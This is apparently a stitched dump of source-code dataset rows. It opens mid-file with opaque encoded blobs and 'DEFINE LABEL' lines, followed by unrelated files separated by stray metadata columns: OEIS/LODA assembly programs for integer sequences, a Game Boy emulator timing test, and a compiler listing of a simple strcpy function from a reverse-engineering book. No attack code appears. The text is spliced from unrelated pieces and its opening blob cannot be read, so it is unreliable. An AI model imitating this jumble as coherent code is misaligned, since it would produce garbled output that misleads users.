TnfZnCce09MjfKenX/G7lZkbeCsTJP825uAcn9jSNK44weQdKe8TP6V1xYHEOZsU2ypqnNsPVdxrNixu
yi8uEkx+Xzw/TLEywPtPlZ6XWe33ALParjjJmrMJDZWyOTylz4tA+tZ3B0zI7emv8Oibnn6k/2xC7CS1
6G9T3GOezZLNOTDHu6xurnM7SF32hiprv/VdcWvXt3Vmb+DtY9k8edL17ZMnFezi7QPJP1reFdewJTN2
085HESA+4+/3yxhGwSgYJgAAyGh9tg;
DEFINE LABEL 3
eJzTYmBguCzctGWZRMiqB1JqC06LXZvyhHd2YwbP5+pV3Al5nDx/stR4d2bkiKlFA5UybOJ4v8ybe+fa
GoGmLetEj247LbZkK0i8TIujZLL2veZXetemsBtYz1hgVDer2kRy+gzTwonF5hsqi82PFoLUTXWKmann
alZ33N27LMHLu+yK373mj/4MrUdCnhfFhDflT4tsyheKPlqYGbdlMki94Nc/6/W+/VnPMApGwSigCQAA
46JExA;
DEFINE LABEL 8
eJwzYmBgYOT/o5rBs1j7PKeZ5SYOZ6dgDuvgAk73GG/u94mtvCGpE0VuZeaI7cx4IW6UkiL5KEJJSs/r
sGSE1WkxLQMrwelKjPwhCmq89hpAoxhEzN1jRMwlg8LMeDz3Gs+2UTG8ZKqjl2v0S8PbMFHts1mbymv3
pyoHw5nUjFJA6qUi3GNK/dSie10n+0o67rXd5RBhJel4VCfY+ZZKhnuIgpx3iEKE7w7lUr+jOqV+VdYR
vqnOtd4n3XpdT7p9cWpzAZmx6NfjuQyjYBSMArIAAIj5P7k;
DEFINE LABEL 9
eJwzYmBgWMTXpHVb4KiOjcZRHSY1M0slKfeYRXy55ZWyueVAaQZHo/lhjF51oXe8vwdY+0z2lfNe4drq
weCgaX3P7pZJoU+csXXwf6OuOBmTkNTvpn+yTllxlKxy0yp94vG8CKRfKFrRcXNUadqF6OnpQtFr4oWi
60ILo6/5+8S+dp+dPNvmVaaZJUhdcVGAd3X+/LC4PKBZ+X+yios4StzKtUrtqhLy/lSFpB6qqAvtKCv0
MSw+6ba18KTb9wI9L5C+/b9TzzKMglEwCsgCAI/RSqA;
| 38.163265 | 80 | 0.883957 |
62a334d7372d1aacfdb166a93fde3675be527f5b | 249 | asm | Assembly | programs/oeis/040/A040157.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/040/A040157.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/040/A040157.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A040157: Continued fraction for sqrt(171).
; 13,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13
pow $1,$0
sub $1,2
gcd $1,$0
mul $1,13
| 31.125 | 163 | 0.654618 |
5712190cca6175ec7c73348518dd287d1e84f0f7 | 1,458 | asm | Assembly | GIOVANNI/gambatte/test/hwtests/m0int_m3stat/m0int_m3stat_ds_1_cgb04c_out3.asm | ReallyEvilFish/1234 | d4f77bf2177c381e07d596aa425bc1a048305c03 | [
"MIT"
] | 9 | 2021-02-03T05:44:48.000Z | 2022-03-19T12:42:52.000Z | GIOVANNI/gambatte/test/hwtests/m0int_m3stat/m0int_m3stat_ds_1_cgb04c_out3.asm | ReallyEvilFish/1234 | d4f77bf2177c381e07d596aa425bc1a048305c03 | [
"MIT"
] | 5 | 2020-08-09T13:04:51.000Z | 2022-03-25T11:41:48.000Z | GIOVANNI/gambatte/test/hwtests/m0int_m3stat/m0int_m3stat_ds_1_cgb04c_out3.asm | Manurocker95/GiovanniEmulator | d4f77bf2177c381e07d596aa425bc1a048305c03 | [
"MIT"
] | null | null | null | .size 8000
.text@48
jp lstatint
.text@100
jp lbegin
.data@143
c0
.text@150
lbegin:
ld a, 00
ldff(ff), a
ld a, 30
ldff(00), a
ld a, 01
ldff(4d), a
stop, 00
ld c, 41
ld b, 02
ld d, 03
lbegin_waitm2:
ldff a, (c)
and a, d
cmp a, b
jrnz lbegin_waitm2
ld a, 08
ldff(c), a
ld a, 02
ldff(ff), a
ei
.text@1000
lstatint:
nop
.text@10d9
ldff a, (c)
and a, 03
jp lprint_a
.text@7000
lprint_a:
push af
ld b, 91
call lwaitly_b
xor a, a
ldff(40), a
pop af
ld(9800), a
ld bc, 7a00
ld hl, 8000
ld d, a0
lprint_copytiles:
ld a, (bc)
inc bc
ld(hl++), a
dec d
jrnz lprint_copytiles
ld a, c0
ldff(47), a
ld a, 80
ldff(68), a
ld a, ff
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
xor a, a
ldff(69), a
ldff(69), a
ldff(43), a
ld a, 91
ldff(40), a
lprint_limbo:
jr lprint_limbo
.text@7400
lwaitly_b:
ld c, 44
lwaitly_b_loop:
ldff a, (c)
cmp a, b
jrnz lwaitly_b_loop
ret
.data@7a00
00 00 7f 7f 41 41 41 41
41 41 41 41 41 41 7f 7f
00 00 08 08 08 08 08 08
08 08 08 08 08 08 08 08
00 00 7f 7f 01 01 01 01
7f 7f 40 40 40 40 7f 7f
00 00 7f 7f 01 01 01 01
3f 3f 01 01 01 01 7f 7f
00 00 41 41 41 41 41 41
7f 7f 01 01 01 01 01 01
00 00 7f 7f 40 40 40 40
7e 7e 01 01 01 01 7e 7e
00 00 7f 7f 40 40 40 40
7f 7f 41 41 41 41 7f 7f
00 00 7f 7f 01 01 02 02
04 04 08 08 10 10 10 10
00 00 3e 3e 41 41 41 41
3e 3e 41 41 41 41 3e 3e
00 00 7f 7f 41 41 41 41
7f 7f 01 01 01 01 7f 7f
| 12.902655 | 24 | 0.623457 |
19c9428fb1c8582b56196ac1f4c80d900ed07349 | 2,598 | asm | Assembly | Chapter 14/strcpy/strcpy/strcpy.asm | bpbpublications/Implementing-Reverse-Engineering | 6e562f7e3828e27e514a5fa77f0a541094798e9b | [
"MIT"
] | null | null | null | Chapter 14/strcpy/strcpy/strcpy.asm | bpbpublications/Implementing-Reverse-Engineering | 6e562f7e3828e27e514a5fa77f0a541094798e9b | [
"MIT"
] | null | null | null | Chapter 14/strcpy/strcpy/strcpy.asm | bpbpublications/Implementing-Reverse-Engineering | 6e562f7e3828e27e514a5fa77f0a541094798e9b | [
"MIT"
] | null | null | null | ; Listing generated by Microsoft (R) Optimizing Compiler Version 16.00.30319.01
TITLE C:\JitenderN\REBook\strcpy\strcpy\strcpy.cpp
.686P
.XMM
include listing.inc
.model flat
INCLUDELIB LIBCMT
INCLUDELIB OLDNAMES
CONST SEGMENT
$SG4688 DB 'ReverseEngg', 00H
$SG4690 DB '%s', 0aH, 00H
CONST ENDS
PUBLIC ?xstrcpy@@YAPADPADPBD@Z ; xstrcpy
; Function compile flags: /Odtp
_TEXT SEGMENT
_ptr$ = -4 ; size = 4
_dest$ = 8 ; size = 4
_src$ = 12 ; size = 4
?xstrcpy@@YAPADPADPBD@Z PROC ; xstrcpy
; File c:\jitendern\rebook\strcpy\strcpy\strcpy.cpp
; Line 9
push ebp
mov ebp, esp
push ecx
; Line 11
cmp DWORD PTR _dest$[ebp], 0
jne SHORT $LN3@xstrcpy
; Line 12
xor eax, eax
jmp SHORT $LN4@xstrcpy
$LN3@xstrcpy:
; Line 15
mov eax, DWORD PTR _dest$[ebp]
mov DWORD PTR _ptr$[ebp], eax
$LN2@xstrcpy:
; Line 19
mov ecx, DWORD PTR _src$[ebp]
movsx edx, BYTE PTR [ecx]
test edx, edx
je SHORT $LN1@xstrcpy
; Line 21
mov eax, DWORD PTR _dest$[ebp]
mov ecx, DWORD PTR _src$[ebp]
mov dl, BYTE PTR [ecx]
mov BYTE PTR [eax], dl
; Line 22
mov eax, DWORD PTR _dest$[ebp]
add eax, 1
mov DWORD PTR _dest$[ebp], eax
; Line 23
mov ecx, DWORD PTR _src$[ebp]
add ecx, 1
mov DWORD PTR _src$[ebp], ecx
; Line 24
jmp SHORT $LN2@xstrcpy
$LN1@xstrcpy:
; Line 27
mov edx, DWORD PTR _dest$[ebp]
mov BYTE PTR [edx], 0
; Line 30
mov eax, DWORD PTR _ptr$[ebp]
$LN4@xstrcpy:
; Line 31
mov esp, ebp
pop ebp
ret 0
?xstrcpy@@YAPADPADPBD@Z ENDP ; xstrcpy
_TEXT ENDS
PUBLIC __$ArrayPad$
PUBLIC _main
EXTRN _printf:PROC
EXTRN ___security_cookie:DWORD
EXTRN @__security_check_cookie@4:PROC
; Function compile flags: /Odtp
_TEXT SEGMENT
_src$ = -44 ; size = 12
_dest$ = -32 ; size = 25
__$ArrayPad$ = -4 ; size = 4
_main PROC
; Line 35
push ebp
mov ebp, esp
sub esp, 44 ; 0000002cH
mov eax, DWORD PTR ___security_cookie
xor eax, ebp
mov DWORD PTR __$ArrayPad$[ebp], eax
; Line 36
mov eax, DWORD PTR $SG4688
mov DWORD PTR _src$[ebp], eax
mov ecx, DWORD PTR $SG4688+4
mov DWORD PTR _src$[ebp+4], ecx
mov edx, DWORD PTR $SG4688+8
mov DWORD PTR _src$[ebp+8], edx
; Line 39
lea eax, DWORD PTR _src$[ebp]
push eax
lea ecx, DWORD PTR _dest$[ebp]
push ecx
call ?xstrcpy@@YAPADPADPBD@Z ; xstrcpy
add esp, 8
push eax
push OFFSET $SG4690
call _printf
add esp, 8
; Line 41
xor eax, eax
; Line 42
mov ecx, DWORD PTR __$ArrayPad$[ebp]
xor ecx, ebp
call @__security_check_cookie@4
mov esp, ebp
pop ebp
ret 0
_main ENDP
_TEXT ENDS
END
| 21.65 | 81 | 0.658968 |
478b5d794fa54668c4adbddd443654bf96289f69 | 701 | asm | Assembly | oeis/066/A066713.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/066/A066713.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/066/A066713.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A066713: RATS(2^n): Reverse Add the digits of 2^n, Then Sort: a(n) = A036839(2^n).
; Submitted by Jamie Morken(s3)
; 2,4,8,16,77,55,11,499,89,277,2255,145,11,1111,44567,111499,12299,1234,3467,113467,677789,144556,1222889,14445667,4577789,55669999,1134899,11356999,12237899,445557799,1223555555,11113366,1122222266,1133444455,33555666677,11123334577,122234566889,11234778889,124445667788,113333447788,2667777777788,4444445556667,222348899,11122666888999,1233456777899,2334556789999,11134567788899,12233346679999,123344566788899,1333456777777,23335566788888,1335666667777,1123333444556789,111345667778899
seq $0,79 ; Powers of 2: a(n) = 2^n.
seq $0,36839 ; RATS(n): Reverse Add Then Sort the digits.
| 100.142857 | 487 | 0.814551 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.